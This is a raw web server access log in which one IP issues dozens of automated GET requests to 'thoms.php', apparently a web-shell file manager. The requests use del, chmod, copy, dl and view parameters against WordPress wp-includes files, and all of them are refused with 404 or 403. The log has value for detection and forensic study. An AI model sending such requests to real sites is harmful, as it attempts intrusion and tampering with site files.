45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=user.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=vars.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=vars.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?chmod=blocks&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcompat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcompat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?dl=locale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcache-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcache-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /biotaiwan.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ficons.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ficons.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fquery.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fquery.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /biotaiwan.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?chmod=category.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:12 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?dl=block-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?del=comment-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fconnectors.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fconnectors.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdefault-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdefault-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?chmod=https-migration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /biotaiwan.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:13 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fai-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fai-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
